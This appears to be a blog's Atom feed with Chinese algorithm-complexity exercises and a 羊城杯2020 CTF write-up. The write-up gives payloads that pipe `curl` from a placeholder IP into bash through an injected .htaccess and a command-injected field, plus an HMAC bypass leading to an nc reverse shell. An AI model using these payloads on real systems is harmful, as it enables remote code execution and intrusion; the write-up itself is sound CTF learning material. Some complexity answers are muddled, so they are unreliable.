-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
508 lines (286 loc) · 747 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>xiaoZ's Blog</title>
<subtitle>Try My Best</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://www.xiaozblog.top/"/>
<updated>2022-12-27T12:19:37.093Z</updated>
<id>http://www.xiaozblog.top/</id>
<author>
<name>xiaoZ</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>算法分析典型例题</title>
<link href="http://www.xiaozblog.top/2020/12/26/%E7%AE%97%E6%B3%95%E5%88%86%E6%9E%90%E5%85%B8%E5%9E%8B%E4%BE%8B%E9%A2%98/"/>
<id>http://www.xiaozblog.top/2020/12/26/%E7%AE%97%E6%B3%95%E5%88%86%E6%9E%90%E5%85%B8%E5%9E%8B%E4%BE%8B%E9%A2%98/</id>
<published>2020-12-26T13:50:17.000Z</published>
<updated>2022-12-27T12:19:37.093Z</updated>
<content type="html"><![CDATA[<p>本文是关于算法分析的一些例题,主要前段时间有重温一下算法中时间复杂度的计算,因此也记录了一些简单的例题,比较基础,但是也做个记录吧。每个题目都是需要分析下所涉及算法的复杂度,话不多说,直接开始吧。</p><h2 id="题1">题1</h2><p>分析以下各程序段,求出算法的时间复杂度</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line">i=<span class="number">1</span>;k=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span> (i<n<span class="number">-1</span>) {</span><br><span class="line"> k=k+<span class="number">10</span>*<span class="number">1</span>:</span><br><span class="line"> i++;}</span><br></pre></td></tr></table></figure><p>题解:</p><ol><li>i++是可以影响 while 的,循环一次 i 就加一,直到 i=n-1 跳出循环。一共循环了 n-2 次</li><li>所以时间复杂度是 O(n)</li></ol><h2 id="题2">题2</h2><p>分析以下各程序段,求出算法的时间复杂度</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line">y=<span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> ((y+<span class="number">1</span>)*(y+<span class="number">1</span>)<=n)</span><br><span class="line"> y=y+<span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>题解:</p><ol><li>y=y+1 是可以影响 while 的, 循环一次 y 就加一,直到 (y+1)^2 > n 跳出循环。</li><li>y= n^(1/2)-1, 所以时间复杂度为 O(n^(1/2))</li></ol><h2 id="题3">题3</h2><p>分析以下各程序段,求出算法的时间复杂度</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (i=<span class="number">1</span>; i<=m; i++)</span><br><span class="line"> <span class="keyword">for</span> (j=<span class="number">1</span>; j<=n; j++)</span><br><span class="line"> <span class="keyword">for</span> (k=<span class="number">1</span>; k<=x; k++)</span><br><span class="line"> y++;</span><br></pre></td></tr></table></figure><p>题解:</p><ol><li>这是三个嵌套的循环,首先我们观察最内部的 k,k 的范围是(1,x),一共执行了 x 次。</li><li>然后 j,j 的范围是(1,n),一共执行了 n 次,</li><li>最后观察最外部的 i,i 的范围是(1,m),一共执行了 m 次。</li><li>只需把三个变量的循环次数相乘就能得到最终的时间复杂度 O(mnx).</li></ol><h2 id="题4">题4</h2><p>分析以下各程序段,求出算法的时间复杂度</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line">x = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (k = <span class="number">1</span>; k<=n; k*=<span class="number">2</span>)</span><br><span class="line"> <span class="keyword">for</span> (j=<span class="number">1</span>; j<=n; j++)</span><br><span class="line"> x++;</span><br></pre></td></tr></table></figure><p>题解:</p><ol><li>内层循环条件 j <=n 与外层循环变量无关。每执行一次 j 自增一,每次内层循环都执行 n 次,所以内层的时间复杂度为 O(n)。</li><li>对于外层,设循环次数 t 满足 k=2^t <= n, 所以 t<= log(n).</li><li>所以,内层的时间复杂度*外层的时间复杂度即为O(n)*O(log(n))=O(nlog(n)), 所以时间复杂度为 O(nlog(n))。</li></ol><h2 id="题5">题5</h2><p>分析以下各程序段,求出算法的时间复杂度</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (i=<span class="number">1</span>; i<=n; i++)</span><br><span class="line"> x++;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">1</span>; i<=n; i++)</span><br><span class="line"> <span class="keyword">for</span> (j=<span class="number">1</span>; j<=m; j++)</span><br><span class="line"> x++;</span><br></pre></td></tr></table></figure><p>题解:</p><ol><li>第一个 for 循环,执行次数是 n,所以时间复杂度是 O(n).</li><li>第二个 for 循环,内层 j 的范围是(1,n)一共执行了 n 次,外层 i 的范围是(1,n)一共执行了 n 次,第二个 for 循环的时间复杂度是 O(n^2).</li><li>总共的时间复杂度是第一个 for 循环的时间复杂度加上第二个 for 循环的时间复杂度,O(n)+O(n^2)=O(n^2), 所以时间复杂度为 O(n^2).</li></ol><h2 id="题6">题6</h2><p>分析以下各程序段,求出算法的时间复杂度</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="comment">// A[]、B[]两个数组为升序数组</span></span><br><span class="line">i=<span class="number">0</span>,j=<span class="number">0</span>,k=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(i<n && j<n){</span><br><span class="line"><span class="keyword">if</span>(A[i] < B[j]){</span><br><span class="line">C[k]=A[i];</span><br><span class="line">i = i+<span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span>(A[i] > B[j]){</span><br><span class="line">C[k]=B[j];</span><br><span class="line">j=j+<span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line">C[k]=A[i];</span><br><span class="line">i = i+<span class="number">1</span>;</span><br><span class="line">j=j+<span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (i<n){</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> s = i; s < n; ++s){</span><br><span class="line">C[s] = A[n-s<span class="number">-1</span>];</span><br><span class="line">}</span><br><span class="line">k = k+n-i</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (j<n){</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> s = j; s < n; ++s){</span><br><span class="line">C[s] = A[n-s<span class="number">-1</span>];</span><br><span class="line">}</span><br><span class="line">k = k+n-j</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>题解:</p><ol><li>两个数组都是升序的数组,根据代码分析,我们只需把数组X和数组Y中的每个元素依次进行对比,选出最小的元素放到数组Z中,对于相同大小的元素,就把数组X的元素放到数组Z中即可。</li><li>需要对比两个数组中的全部元素,需要运行2n次,时间复杂度就是O(n).</li></ol><h2 id="题7">题7</h2><p>数组集X和数组集Y每个数组集中都有k个数组,(X(1),X(2)…X(k-1),X(k)),(Y(1),Y(2),Y(3)……Y(k-1),Y(k))<br>对于数组集X中每个数组都有相同的元素个数m,数组集X中每个数组都有相同的元素个数n,并且每个数组都是升序数组。我们想把两个数组集中的数组通过上面的算法进行合并。直至剩下一个数组。<br>第一步X(1)和Y(1)进行合并,X(2)和Y(2)进行合并……X(k)和Y(k)进行合并,反复对比只留下最后一个数组,最后一步(X(1),Y(1))和(X(2),Y(2))进行对比……(X(k-1),Y(k-1))和(X(k),Y(k))进行对比直到剩下最后一个数组。请计算时间复杂度,并且解释。</p><p>题解:</p><p>第一步:时间复杂度O(m+n)*k=O((m+n)*k)<br>因为两个数组组合所以是m+n,并且因为有k对数组所以运行了k次,相乘就是第一步的时间复杂度</p><p>第二步:时间复杂度O(2m+2n)*MAX(k/2)=O((m+n)*k)<br>这一步相当于四个数组组合所以元素个数是2(m+n),并且这个时候的数组对又减少了一半变成了MAX(k/2),相乘就是第二步的时间复杂度.</p><p>第三步:时间复杂度O(4m+4n)*MAX(k/4)=O((m+n)*k)<br>这一步相当于八个数组组合所以元素个数是4(m+n),并且这个时候的数组对又减少了一半变成了MAX(k/4),相乘就是第三步的时间复杂度</p><p>…</p><p>第log(2k) 步(最后一步):时间复杂度O((k)(m+n))*1=O((m+n)*k)<br>这一步相当于把所以的数组都合并到一个数组中,所有的元素个数是(k)(m+n),运行了一次,(相当于两个数组合并成一个数组),相乘就是第二步的时间复杂度</p><p>由此看见每一步的时间复杂程度都是O((m+n)*k),但是一共有log(2k) 步,所以最终的时间复杂度是O((m+n)*k*log(2k))。</p><h2 id="题8">题8</h2><p>分析以下各程序段,求出算法的时间复杂度</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (i=<span class="number">1</span>;i<n;i++){</span><br><span class="line"> y=y+<span class="number">1</span>; </span><br><span class="line"> <span class="keyword">for</span> (j=<span class="number">0</span>;j<=(<span class="number">2</span>*n);j++) </span><br><span class="line"> x++; </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>题解:</p><ol><li>算法中主要语句 y=y+1 的时间复杂度为 O(n+1)=O(n)</li><li>算法中主要语句 (j=0;j<=(2*n);j++) 的时间复杂度为 O((n+1)*(2n+1)) = O(n^2).</li><li>因此,本算法的时间复杂度为 O(n+1) + O((n+1)*(2n+1)) = O(n) + O(n^2) = O(n^2).</li></ol><h2 id="题9">题9</h2><p>分析以下各程序段,求出算法的时间复杂度</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 求两个 n 阶矩阵的的乘法 C=A✖B,其算法如下:</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAX 100</span></span><br><span class="line"><span class="function">Void <span class="title">matrixmult</span> <span class="params">(<span class="keyword">int</span> n, <span class="keyword">float</span> a[MAX] [MAX], <span class="keyword">float</span> c[MAX] [MAX])</span></span>{</span><br><span class="line"> <span class="keyword">int</span> i, j, k;</span><br><span class="line"> <span class="keyword">float</span> x;</span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">1</span>; i<=n; i++){</span><br><span class="line"> <span class="keyword">for</span> (j=<span class="number">1</span>; j<=n; j++){</span><br><span class="line"> x=<span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (k=<span class="number">1</span>; k<=n; k++)</span><br><span class="line"> x+= a[i] [k]* b[k] [j]</span><br><span class="line"> c[i] [j]=x;</span><br><span class="line"> }<span class="comment">//for (j=1)结束</span></span><br><span class="line">}<span class="comment">//for (i=1)结束</span></span><br><span class="line">}<span class="comment">// matrixmult</span></span><br></pre></td></tr></table></figure><p>题解:</p><ol><li>算法中主要语句 for(i=1;i<=n;i++) 的时间复杂度为 O(n+1)=O(n)</li><li>算法中主要语句 for(j=1;j<=n;j++) 的时间复杂度为 O(n*(n+1)) = O(n^2).</li><li>算法中主要语句 x=0 的时间复杂度为 O(n^2).</li><li>算法中主要语句 for(k=1;k<=n;k++)的时间复杂度为 O(n^2*(n+1)) = O(n^3).</li><li>算法中主要语句 x+=a[i][k]*b[k][j] 的时间复杂度为 O(n^3).</li><li>算法中主要语句 c[i][j]=x 的时间复杂度为 O(n^2).</li><li>因此,本算法的时间复杂度为 O(n+1)+O(n*(n+1))+O(n^2)+O(n^2*(n+1))+O(n^3)+O(n^2) = O(n)+O(n^2)+O(n^2)+O(n^3)+O(n^3)+O(n^2) = O(n^3)</li></ol><h2 id="题10">题10</h2><p>有两个算法A1和A2求解同一问题,时间复杂度分别是 O1(n)=100n^2,O2(n)=5n^3。 评估这两个算法的时间性能</p><p>题解:</p><ol><li>当输入量n <20时,有T1(n)>T2(n),后者花费的时间较少。</li><li>随着问题规模 n 的增大,两个算法的时间开销之比5n^3/100n^2=n/20亦随着增大。即当问题规模较大时,算法A1比算法A2要有效地多。 它们的渐近时间复杂度O(n^2)和O(n^3)从宏观上评价了这两个算法在时间方面的质量。在算法分析时,往往对算法的时间复杂度和渐近时间复杂度不予区分,而经常是将渐近时间复杂度O(n)=O(f(n))简称为时间复杂度,其中的f(n)一般是算法中频度最大的语句频度。</li></ol>]]></content>
<summary type="html">
关于算法分析的一些例题,主要前段时间有重温一下算法中时间复杂度的计算,因此也记录了一些简单的例题,比较基础,但是也做个记录吧。
</summary>
<category term="算法与数据结构" scheme="http://www.xiaozblog.top/categories/%E7%AE%97%E6%B3%95%E4%B8%8E%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"/>
<category term="算法分析" scheme="http://www.xiaozblog.top/tags/%E7%AE%97%E6%B3%95%E5%88%86%E6%9E%90/"/>
</entry>
<entry>
<title>羊城杯2020-WP</title>
<link href="http://www.xiaozblog.top/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AF2020-WP/"/>
<id>http://www.xiaozblog.top/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AF2020-WP/</id>
<published>2020-09-11T01:57:40.000Z</published>
<updated>2020-09-11T02:03:42.000Z</updated>
<content type="html"><![CDATA[<p>这比赛打得揪心,被jiaoshi是真的难受…而且还不停有人这样,前一晚刚刚爆完肝,被这么一整明显感觉自己精神状况有问题</p><h3 id="misc-com">misc com</h3><p>nc ip port</p><p>拿到一个矩阵,求出方程组提交就可以,这里注意需要以数组形式提交,且逗号后需要有空格,脚本如下:</p><figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line">import numpy as np</span><br><span class="line"><span class="attribute">A</span>=np.random.rand(35,35)</span><br><span class="line"><span class="attribute">B</span>=np.random.rand(35)</span><br><span class="line"><span class="attribute">r</span>=open("cert.txt",'r')</span><br><span class="line"><span class="attribute">lines</span>=r.readlines()</span><br><span class="line"><span class="attribute">A_row</span>=0</span><br><span class="line"><span class="attribute">A_column</span>=0</span><br><span class="line"><span class="attribute">B_flag</span>=0</span><br><span class="line"><span class="comment"># print(len(lines))</span></span><br><span class="line"><span class="keyword">for</span> line <span class="keyword">in</span> lines:</span><br><span class="line"> <span class="attribute">x</span>=line.split()</span><br><span class="line"> # <span class="builtin-name">print</span>(len(x))</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(0,len(x)):</span><br><span class="line"> <span class="keyword">if</span> i<len(x) -1:</span><br><span class="line"> A[A_row][A_column]=int(x[i])</span><br><span class="line"> <span class="attribute">A_column</span>=A_column+1</span><br><span class="line"> <span class="keyword">if</span> <span class="attribute">A_column</span>==35:</span><br><span class="line"> <span class="attribute">A_column</span>=0</span><br><span class="line"> <span class="attribute">A_row</span>=A_row+1</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> B[B_flag]=int(x[i])</span><br><span class="line"> <span class="attribute">B_flag</span>=B_flag+1</span><br><span class="line"><span class="attribute">s</span>=np.linalg.solve(A,B)</span><br><span class="line"><span class="builtin-name">print</span>(s)</span><br></pre></td></tr></table></figure><p><img src="image/202009_YCB/misc1.png" alt=""></p><h3 id="WEB-easycon">WEB easycon</h3><p>打开题目,提示<code>eval post cmd</code>,直接用<code>hackbar</code>发请求,看到有一个<code>txt</code>文件,里面是base64编码,解码成图片可以拿到flag</p><p><img src="image/202009_YCB/web1.png" alt=""></p><h3 id="WEB-BlackCat">WEB BlackCat</h3><p>题目给了一段黑猫警长的<code>MP3</code>,里面还藏了张图片(虽然并没有什么用),直接用<code>winhex</code>打开,拉到最后可以看到源码</p><p><img src="image/202009_YCB/web2.png" alt=""></p><p>格式化一下源码</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="keyword">empty</span>($_POST[<span class="string">'Black-Cat-Sheriff'</span>]) || <span class="keyword">empty</span>($_POST[<span class="string">'One-ear'</span>])){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'谁!竟敢踩我一只耳的尾巴!'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$clandestine = getenv(<span class="string">"clandestine"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'White-cat-monitor'</span>]))</span><br><span class="line"> $clandestine = hash_hmac(<span class="string">'sha256'</span>, $_POST[<span class="string">'White-cat-monitor'</span>], $clandestine);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$hh = hash_hmac(<span class="string">'sha256'</span>, $_POST[<span class="string">'One-ear'</span>], $clandestine);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>($hh !== $_POST[<span class="string">'Black-Cat-Sheriff'</span>]){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> exec(<span class="string">"nc"</span>.$_POST[<span class="string">'One-ear'</span>]);</span><br></pre></td></tr></table></figure><p>逻辑就是,输入的<code>White-cat-monitor</code>值会计算加盐哈希,并且盐是未知的,另外这个哈希值会作为盐对<code>One-ear</code>进行哈希,输入的<code>Black-Cat-Sheriff</code>需要是该哈希值,且这里最后有一个<code>exec</code>函数,可以使用<code>One-ear</code>进行命令执行。</p><p><code>clandestine</code>值是未知的,所以我们需要构造一个已知的哈希值,即如果输入的<code>White-cat-monitor</code>为数组,则哈希计算失败,得出结果为<code>false</code>,即对后续的进一步哈希操作无影响,再使用<code>One-ear</code>弹个<code>shell</code>回来即可。</p><p><img src="image/202009_YCB/web2_1.png" alt=""></p><p>构造payload:</p><figure class="highlight stata"><table><tr><td class="code"><pre><span class="line">Black-<span class="keyword">Cat</span>-Sheriff=(<span class="keyword">One</span>-ear哈希值)&<span class="keyword">One</span>-ear=(闭合nc弹<span class="keyword">shell</span>命令)&White-<span class="keyword">cat</span>-monitor[]=1</span><br></pre></td></tr></table></figure><h3 id="WEB-Easyphp">WEB Easyphp</h3><p>题目给了源码</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php"> $files = scandir(<span class="string">'./'</span>);</span></span><br><span class="line"><span class="php"> <span class="keyword">foreach</span>($files <span class="keyword">as</span> $file) {</span></span><br><span class="line"><span class="php"> <span class="keyword">if</span>(is_file($file)){</span></span><br><span class="line"><span class="php"> <span class="keyword">if</span> ($file !== <span class="string">"index.php"</span>) {</span></span><br><span class="line"><span class="php"> unlink($file);</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"></span><br><span class="line"><span class="php"> <span class="keyword">if</span>(!<span class="keyword">isset</span>($_GET[<span class="string">'content'</span>]) || !<span class="keyword">isset</span>($_GET[<span class="string">'filename'</span>])) {</span></span><br><span class="line"><span class="php"> highlight_file(<span class="keyword">__FILE__</span>);</span></span><br><span class="line"><span class="php"> <span class="keyword">die</span>();</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> $content = $_GET[<span class="string">'content'</span>];</span></span><br><span class="line"><span class="php"> <span class="keyword">if</span>(stristr($content,<span class="string">'on'</span>) || stristr($content,<span class="string">'html'</span>) || stristr($content,<span class="string">'type'</span>) || stristr($content,<span class="string">'flag'</span>) || stristr($content,<span class="string">'upload'</span>) || stristr($content,<span class="string">'file'</span>)) {</span></span><br><span class="line"><span class="php"> <span class="keyword">echo</span> <span class="string">"Hacker"</span>;</span></span><br><span class="line"><span class="php"> <span class="keyword">die</span>();</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> $filename = $_GET[<span class="string">'filename'</span>];</span></span><br><span class="line"><span class="php"> <span class="keyword">if</span>(preg_match(<span class="string">"/[^a-z\.]/"</span>, $filename) == <span class="number">1</span>) {</span></span><br><span class="line"><span class="php"> <span class="keyword">echo</span> <span class="string">"Hacker"</span>;</span></span><br><span class="line"><span class="php"> <span class="keyword">die</span>();</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> $files = scandir(<span class="string">'./'</span>);</span></span><br><span class="line"><span class="php"> <span class="keyword">foreach</span>($files <span class="keyword">as</span> $file) {</span></span><br><span class="line"><span class="php"> <span class="keyword">if</span>(is_file($file)){</span></span><br><span class="line"><span class="php"> <span class="keyword">if</span> ($file !== <span class="string">"index.php"</span>) {</span></span><br><span class="line"><span class="php"> unlink($file);</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php"> file_put_contents($filename, $content . <span class="string">"\nHello, world"</span>);</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><p>提供了一个写文件的功能且只能写文件名为<code>[a-z.]*</code>的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入<code>.htaccess</code>里面<code>auto_prepend_file</code>等<code>php_value</code>。</p><p>一个利用<code>.htaccess</code>进行文件包含的题,可以使用<code>\</code>换行,绕过过滤直接写<code>.htaccess</code></p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line">php_value auto_prepend_fi\</span><br><span class="line">le ".htaccess"</span><br><span class="line">#<span class="php"><span class="meta"><?php</span> <span class="keyword">eval</span>(system(<span class="string">"curl xxx.xxx.xxx.xxx/t.sh|bash"</span>));<span class="meta">?></span></span>\</span><br></pre></td></tr></table></figure><p>需要<code>url</code>编码,提交<code>payload</code>后再次访问该题即可弹回<code>shell</code></p><figure class="highlight llvm"><table><tr><td class="code"><pre><span class="line">filename=.htaccess&content=php_value+auto_prepend_fi<span class="symbol">%5</span><span class="keyword">c</span><span class="symbol">%0</span>d<span class="symbol">%0</span>ale+<span class="symbol">%22</span>.htaccess<span class="symbol">%22</span><span class="symbol">%0</span>d<span class="symbol">%0</span>a<span class="symbol">%23</span><span class="symbol">%3</span><span class="keyword">c</span><span class="symbol">%3</span>fphp+eval(system(<span class="symbol">%22</span>curl+http<span class="symbol">%3</span>a<span class="symbol">%2</span>f<span class="symbol">%2</span>fxxx.xxx.xxx.xxx<span class="symbol">%2</span>ft.sh<span class="symbol">%7</span>cbash<span class="symbol">%22</span>))<span class="symbol">%3</span>b<span class="symbol">%3</span>f<span class="symbol">%3</span>e<span class="symbol">%5</span><span class="keyword">c</span></span><br></pre></td></tr></table></figure><p><img src="image/202009_YCB/web6.png" alt=""></p><h3 id="WEB-Easyphp2">WEB Easyphp2</h3><p>直接使用伪协议读文件,但是有<code>waf</code>,更换过滤器,使用</p><figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line">php://<span class="built_in">filter</span>/<span class="built_in">read</span>=<span class="built_in">convert</span>.iconv.utf<span class="number">-8.</span>utf<span class="number">-7</span>/resource=GWHT.php</span><br></pre></td></tr></table></figure><p>解码后可得源码:</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span> </span></span><br><span class="line"><span class="php">ini_set( <span class="string">'max_execution_time'</span>, <span class="number">5</span>); </span></span><br><span class="line"><span class="php"><span class="keyword">if</span> ($_COOKIE[ <span class="string">'pass'</span>] !==getenv( <span class="string">'PASS'</span>)) { </span></span><br><span class="line"><span class="php"> setcookie( <span class="string">'pass'</span>, <span class="string">'PASS'</span>); </span></span><br><span class="line"><span class="php"> <span class="keyword">die</span>( <span class="string">'<h2>'</span>. <span class="string">'<hacker>'</span>. <span class="string">'<h2>'</span>. <span class="string">'<br>'</span>. <span class="string">'<h1>'</span>. <span class="string">'404'</span>. <span class="string">'<h1>'</span>. <span class="string">'<br>'</span>. <span class="string">'Sorry, only people from GWHT are allowed to access this website.'</span>. <span class="string">'23333'</span>); </span></span><br><span class="line"><span class="php">} </span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">h1</span>></span>A Counter is here, but it has someting wrong<span class="tag"></<span class="name">h1</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">form</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"hidden"</span> <span class="attr">value</span>=<span class="string">"GWHT.php"</span> <span class="attr">name</span>=<span class="string">"file"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">textarea</span> <span class="attr">style</span>=<span class="string">"border-radius: 1rem;"</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">name</span>=<span class="string">"count"</span> <span class="attr">rows</span>=<span class="string">10</span> <span class="attr">cols</span>=<span class="string">50</span>></span><span class="tag"></<span class="name">textarea</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">br</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span>></span><span class="tag"></<span class="name">form</span>></span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="meta"><?php</span> </span></span><br><span class="line"><span class="php"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[ <span class="string">"count"</span>])) { </span></span><br><span class="line"><span class="php"> $count=$ _GET[ <span class="string">"count"</span>]; </span></span><br><span class="line"><span class="php"> <span class="keyword">if</span>(preg_match( <span class="string">'/;|base64|rot13|base32|base16|<\?php|#/i'</span>, $count)){ </span></span><br><span class="line"><span class="php"> <span class="keyword">die</span>( <span class="string">'hacker!'</span>); </span></span><br><span class="line"><span class="php"> } </span></span><br><span class="line"></span><br><span class="line"><span class="php"> <span class="keyword">echo</span> <span class="string">"<h2>The Count is: "</span> . exec( <span class="string">'printf \' '</span> . $count . <span class="string">'\ '</span> | wc -c<span class="string">') . "</h2>"; </span></span></span><br><span class="line"><span class="php">} </span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><p>即需要输入一个正确的<code>pass</code>,然后可以进入<code>count</code>进行计数,这里根据题目提示得<code>pass=GWHT</code>,可以构造<code>count</code>值弹<code>shell</code>,这里使用<code>curl</code>命令弹,<code>payload</code>如下:</p><figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line"><span class="attribute">count</span>=xiaoZ' | curl xxx.xxx.xxx.xxx|bash | <span class="builtin-name">print</span> <span class="string">'xiaoZ</span></span><br></pre></td></tr></table></figure><p>拿到<code>shell</code>后,找<code>flag</code>,发现在<code>GWHT/system/</code>最深处有个<code>flag.txt</code>,但是需要权限,<code>GWHT/README</code>中有一个密钥的哈希值</p><p><img src="image/202009_YCB/web4_1.png" alt=""></p><p>解密后得到密码为<code>GWHTCTF</code>,切换<code>GWHT</code>用户即可访问<code>flag</code>。</p>]]></content>
<summary type="html">
这比赛打得揪心,被jiaoshi是真的难受...而且还不停有人这样,前一晚刚刚爆完肝,被这么一整明显感觉自己精神状况有问题。
</summary>
<category term="CTF_writeup" scheme="http://www.xiaozblog.top/categories/CTF-writeup/"/>
<category term="writeup" scheme="http://www.xiaozblog.top/tags/writeup/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
</entry>
<entry>
<title>首届钓鱼城杯部分wp</title>
<link href="http://www.xiaozblog.top/2020/08/28/%E9%A6%96%E5%B1%8A%E9%92%93%E9%B1%BC%E5%9F%8E%E6%9D%AF%E9%83%A8%E5%88%86wp/"/>
<id>http://www.xiaozblog.top/2020/08/28/%E9%A6%96%E5%B1%8A%E9%92%93%E9%B1%BC%E5%9F%8E%E6%9D%AF%E9%83%A8%E5%88%86wp/</id>
<published>2020-08-28T04:16:44.000Z</published>
<updated>2020-08-28T04:51:32.000Z</updated>
